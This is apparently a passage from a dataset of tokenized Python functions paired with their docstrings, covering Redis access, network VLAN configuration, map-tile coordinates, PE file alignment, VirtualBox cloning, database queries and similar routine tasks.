[ "Return", "a", "string", "defining", "a", "model", "specific", "XML", "type", "extending", "ItemType", "." ]

[ "def", "setValueSafe", "(", "self", ",", "row", ",", "value", ")", ":", "try", ":", "return", "self", ".", "setValue", "(", "row", ",", "value", ")", "except", "Exception", "as", "e", ":", "exceptionCaught", "(", "e", ")" ]

[ "setValue", "and", "ignore", "exceptions" ]

[ "def", "hvals", "(", "key", ",", "host", "=", "None", ",", "port", "=", "None", ",", "db", "=", "None", ",", "password", "=", "None", ")", ":", "server", "=", "_connect", "(", "host", ",", "port", ",", "db", ",", "password", ")", "return", "server", ".", "hvals", "(", "key", ")" ]

[ "Return", "all", "the", "values", "in", "a", "hash", "." ]

[ "def", "disable_vlan_on_trunk_int", "(", "self", ",", "nexus_host", ",", "vlanid", ",", "intf_type", ",", "interface", ",", "is_native", ")", ":", "starttime", "=", "time", ".", "time", "(", ")", "path_snip", ",", "body_snip", "=", "self", ".", "_get_vlan_body_on_trunk_int", "(", "nexus_host", ",", "vlanid", ",", "intf_type", ",", "interface", ",", "is_native", ",", "True", ",", "False", ")", "self", ".", "send_edit_string", "(", "nexus_host", ",", "path_snip", ",", "body_snip", ")", "self", ".", "capture_and_print_timeshot", "(", "starttime", ",", "\"delif\"", ",", "switch", "=", "nexus_host", ")" ]

[ "Disable", "a", "VLAN", "on", "a", "trunk", "interface", "." ]

[ "def", "coord", "(", "self", ",", "offset", "=", "(", "0", ",", "0", ")", ")", ":", "(", "tilex", ",", "tiley", ")", "=", "self", ".", "tile", "(", "offsetx", ",", "offsety", ")", "=", "offset", "world_tiles", "=", "1", "<<", "self", ".", "zoom", "x", "=", "(", "tilex", "+", "1.0", "*", "offsetx", "/", "TILES_WIDTH", ")", "/", "(", "world_tiles", "/", "2.", ")", "-", "1", "y", "=", "(", "tiley", "+", "1.0", "*", "offsety", "/", "TILES_HEIGHT", ")", "/", "(", "world_tiles", "/", "2.", ")", "-", "1", "lon", "=", "x", "*", "180.0", "y", "=", "math", ".", "exp", "(", "-", "y", "*", "2", "*", "math", ".", "pi", ")", "e", "=", "(", "y", "-", "1", ")", "/", "(", "y", "+", "1", ")", "lat", "=", "180.0", "/", "math", ".", "pi", "*", "math", ".", "asin", "(", "e", ")", "return", "(", "lat", ",", "lon", ")" ]

[ "return", "lat", "lon", "within", "a", "tile", "given", "(", "offsetx", "offsety", ")" ]

[ "def", "_adjustFileAlignment", "(", "self", ",", "value", ",", "fileAlignment", ")", ":", "if", "fileAlignment", ">", "consts", ".", "DEFAULT_FILE_ALIGNMENT", ":", "if", "not", "utils", ".", "powerOfTwo", "(", "fileAlignment", ")", ":", "print", "\"Warning: FileAlignment is greater than DEFAULT_FILE_ALIGNMENT (0x200) and is not power of two.\"", "if", "fileAlignment", "<", "consts", ".", "DEFAULT_FILE_ALIGNMENT", ":", "return", "value", "if", "fileAlignment", "and", "value", "%", "fileAlignment", ":", "return", "(", "(", "value", "/", "fileAlignment", ")", "+", "1", ")", "*", "fileAlignment", "return", "value" ]

[ "Align", "a", "value", "to", "C", "{", "FileAligment", "}", "." ]

[ "def", "get_most_recent_bike", "(", ")", "->", "Optional", "[", "'Bike'", "]", ":", "try", ":", "return", "Bike", ".", "select", "(", ")", ".", "order_by", "(", "Bike", ".", "cached_date", ".", "desc", "(", ")", ")", ".", "get", "(", ")", "except", "pw", ".", "DoesNotExist", ":", "return", "None" ]

[ "Gets", "the", "most", "recently", "cached", "bike", "from", "the", "database", ".", ":", "return", ":", "The", "bike", "that", "was", "cached", "most", "recently", "." ]

[ "def", "apply_T2", "(", "word", ")", ":", "WORD", "=", "word", "offset", "=", "0", "for", "vv", "in", "vv_sequences", "(", "WORD", ")", ":", "seq", "=", "vv", ".", "group", "(", "2", ")", "if", "not", "is_diphthong", "(", "seq", ")", "and", "not", "is_long", "(", "seq", ")", ":", "i", "=", "vv", ".", "start", "(", "2", ")", "+", "1", "+", "offset", "WORD", "=", "WORD", "[", ":", "i", "]", "+", "'.'", "+", "WORD", "[", "i", ":", "]", "offset", "+=", "1", "RULE", "=", "' T2'", "if", "word", "!=", "WORD", "else", "''", "return", "WORD", ",", "RULE" ]

[ "There", "is", "a", "syllable", "boundary", "within", "a", "VV", "sequence", "of", "two", "nonidentical", "vowels", "that", "are", "not", "a", "genuine", "diphthong", "e", ".", "g", ".", "[", "ta", ".", "e", "]", "[", "ko", ".", "et", ".", "taa", "]", "." ]

[ "def", "_set_where", "(", "self", ")", ":", "foreign", "=", "self", ".", "get_foreign_key", "(", ")", "self", ".", "_query", ".", "where", "(", "foreign", ",", "\"=\"", ",", "self", ".", "_parent", ".", "get_key", "(", ")", ")", "return", "self" ]

[ "Set", "the", "where", "clause", "for", "the", "relation", "query", "." ]

[ "def", "vb_clone_vm", "(", "name", "=", "None", ",", "clone_from", "=", "None", ",", "clone_mode", "=", "0", ",", "timeout", "=", "10000", ",", "*", "*", "kwargs", ")", ":", "vbox", "=", "vb_get_box", "(", ")", "log", ".", "info", "(", "'Clone virtualbox machine %s from %s'", ",", "name", ",", "clone_from", ")", "source_machine", "=", "vbox", ".", "findMachine", "(", "clone_from", ")", "groups", "=", "None", "os_type_id", "=", "'Other'", "new_machine", "=", "vbox", ".", "createMachine", "(", "None", ",", "# Settings file", "name", ",", "groups", ",", "os_type_id", ",", "None", "# flags", ")", "progress", "=", "source_machine", ".", "cloneTo", "(", "new_machine", ",", "clone_mode", ",", "# CloneMode", "None", "# CloneOptions : None = Full?", ")", "progress", ".", "waitForCompletion", "(", "timeout", ")", "log", ".", "info", "(", "'Finished cloning %s from %s'", ",", "name", ",", "clone_from", ")", "vbox", ".", "registerMachine", "(", "new_machine", ")", "return", "vb_xpcom_to_attribute_dict", "(", "new_machine", ",", "'IMachine'", ")" ]

[ "Tells", "virtualbox", "to", "create", "a", "VM", "by", "cloning", "from", "an", "existing", "one" ]

[ "def", "_use_provider_states", "(", "provider_state_fixtures_with_params", ":", "List", "[", "Tuple", "[", "ProviderStateFixture", ",", "Dict", "]", "]", ")", "->", "Generator", ":", "with", "contextlib", ".", "ExitStack", "(", ")", "as", "stack", ":", "for", "provider_state_fixture", ",", "params", "in", "provider_state_fixtures_with_params", ":", "stack", ".", "enter_context", "(", "provider_state_fixture", "(", "*", "*", "params", ")", ")", "yield" ]

[ "Run", "all", "given", "provider", "states", "as", "a", "contextmanager", "." ]

[ "def", "depends_statement", "(", "cookbook_name", ",", "metadata", "=", "None", ")", ":", "line", "=", "\"depends '%s'\"", "%", "cookbook_name", "if", "metadata", ":", "if", "not", "isinstance", "(", "metadata", ",", "dict", ")", ":", "raise", "TypeError", "(", "\"Stencil dependency options for %s \"", "\"should be a dict of options, not %s.\"", "%", "(", "cookbook_name", ",", "metadata", ")", ")", "if", "metadata", ":", "line", "=", "\"%s '%s'\"", "%", "(", "line", ",", "\"', '\"", ".", "join", "(", "metadata", ")", ")", "return", "line" ]

[ "Return", "a", "valid", "Ruby", "depends", "statement", "for", "the", "metadata", ".", "rb", "file", "." ]

[ "def", "index_service", "(", "self", ",", "service_id", ")", ":", "from", "hypermap", ".", "aggregator", ".", "models", "import", "Service", "service", "=", "Service", ".", "objects", ".", "get", "(", "id", "=", "service_id", ")", "if", "not", "service", ".", "is_valid", ":", "LOGGER", ".", "debug", "(", "'Not indexing service with id %s in search engine as it is not valid'", "%", "service", ".", "id", ")", "return", "LOGGER", ".", "debug", "(", "'Indexing service %s'", "%", "service", ".", "id", ")", "layer_to_process", "=", "service", ".", "layer_set", ".", "all", "(", ")", "for", "layer", "in", "layer_to_process", ":", "if", "not", "settings", ".", "REGISTRY_SKIP_CELERY", ":", "index_layer", "(", "layer", ".", "id", ",", "use_cache", "=", "True", ")", "else", ":", "index_layer", "(", "layer", ".", "id", ")" ]

[ "Index", "a", "service", "in", "search", "engine", "." ]

[ "def", "_create_analysis_extent_action", "(", "self", ")", ":", "icon", "=", "resources_path", "(", "'img'", ",", "'icons'", ",", "'set-extents-tool.svg'", ")", "self", ".", "action_extent_selector", "=", "QAction", "(", "QIcon", "(", "icon", ")", ",", "self", ".", "tr", "(", "'Set Analysis Area'", ")", ",", "self", ".", "iface", ".", "mainWindow", "(", ")", ")", "self", ".", "action_extent_selector", ".", "setStatusTip", "(", "self", ".", "tr", "(", "'Set the analysis area for InaSAFE'", ")", ")", "self", ".", "action_extent_selector", ".", "setWhatsThis", "(", "self", ".", "tr", "(", "'Set the analysis area for InaSAFE'", ")", ")", "self", ".", "action_extent_selector", ".", "triggered", ".", "connect", "(", "self", ".", "show_extent_selector", ")", "self", ".", "add_action", "(", "self", ".", "action_extent_selector", ")" ]

[ "Create", "action", "for", "analysis", "extent", "dialog", "." ]

[ "def", "use_comparative_log_entry_view", "(", "self", ")", ":", "self", ".", "_object_views", "[", "'log_entry'", "]", "=", "COMPARATIVE", "# self._get_provider_session('log_entry_lookup_session') # To make sure the session is tracked", "for", "session", "in", "self", ".", "_get_provider_sessions", "(", ")", ":", "try", ":", "session", ".", "use_comparative_log_entry_view", "(", ")", "except", "AttributeError", ":", "pass" ]

[ "Pass", "through", "to", "provider", "LogEntryLookupSession", ".", "use_comparative_log_entry_view" ]

[ "def", "list_rocs_files", "(", "url", "=", "ROCS_URL", ")", ":", "soup", "=", "BeautifulSoup", "(", "get", "(", "url", ")", ")", "if", "not", "url", ".", "endswith", "(", "'/'", ")", ":", "url", "+=", "'/'", "files", "=", "[", "]", "for", "elem", "in", "soup", ".", "findAll", "(", "'a'", ")", ":", "if", "elem", "[", "'href'", "]", ".", "startswith", "(", "'?'", ")", ":", "continue", "if", "elem", ".", "string", ".", "lower", "(", ")", "==", "'parent directory'", ":", "continue", "files", ".", "append", "(", "url", "+", "elem", "[", "'href'", "]", ")", "return", "files" ]

[ "Gets", "the", "contents", "of", "the", "given", "url", "." ]

[ "def", "vals", "(", "self", ",", "var_type", ")", ":", "return", "{", "x", ":", "y", "for", "x", ",", "y", "in", "self", ".", "items", "(", ")", "if", "y", ".", "has_value_of_type", "(", "var_type", ")", "}" ]

[ "Create", "a", "dictionary", "with", "name", "/", "value", "pairs", "listing", "the", "variables", "of", "a", "particular", "type", "that", "have", "a", "value", "." ]